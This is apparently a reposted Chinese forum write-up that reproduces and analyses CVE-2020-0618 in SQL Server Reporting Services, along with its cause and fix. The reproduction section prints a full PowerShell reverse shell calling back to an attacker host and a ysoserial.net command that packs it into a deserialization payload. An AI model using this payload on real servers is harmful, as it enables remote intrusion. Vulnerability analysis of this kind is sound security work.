CVE-2020-0618复现及分析
2020-02-26 18:58:01 Author: bbs.pediy.com(查看原文) 阅读量:453 收藏

[原创]CVE-2020-0618复现及分析

21小时前 234

一、环境搭建

  1. 靶机

    • Windows Server 2016
    • SQLServer 2016标准版
    • Reporting Services配置
      添加访问账户->配置web服务URL->配置web门户URL

    前端验证:浏览器访问http://ip/ReportServer,提示输入前面设置的用户名和密码,输入添加的用户名和密码即可。

  2. 攻击机

    Windows 7 SP1 x64(注:尽量不要用Linux,抓取的数据包存在问题)

    安装ysoserial

二、复现过程

  1. 首先使用powershell打开ysoserial.net工具生成有效负载:

    $command = '$client = New-Object System.Net.Sockets.TCPClient("ip",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    
    $encodedCommand = [Convert]::ToBase64String($bytes)
    
    .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
    
  2. 使用Burp进行浏览器监听

  3. 修改Burp的发送消息为有效负载触发漏洞:

  1. 接收回弹shell

三、漏洞分析

1. 漏洞概述

  1. 漏洞服务:Reporting Services(默认情况下并不安装,需要手动安装)
  2. 漏洞文件:ReportingServicesWebServer.dll,路径:SQL Server安装目录下Reporting Services/ReportServer/bin
  3. 漏洞函数:`Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad方法

2. 详细分析

对ReportingServicesWebServer.dll进行反编译,找到漏洞函数:

从代码来看,Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad()方法,首先获取ViewState中的值,并赋给value变量。对value变量进行非空判断,然后初始化LosFormatter对象,最后使用LosFormatter对象中的Deserialize()方法对value变量直接反序列化。

而对LosFormatter类的实例进行调用的位置位于Microsoft.ReportingServices.WebServer.ReportViewerPage中的OnInit方法:

由此可以定位到能触发漏洞的路径为ReportServer/pages/ReportViewer.aspx

四、漏洞修复

官方仅仅在使用LosFormatter类时开启MAC验证来修复该漏洞。

五、参考文献

  1. https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

[公告] 防守篇征题进行中!看雪2020 KCTF春季赛防守方征题中 !

最后于 8小时前 被有毒编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-257827.htm
如有侵权请联系:admin#unsafe.sh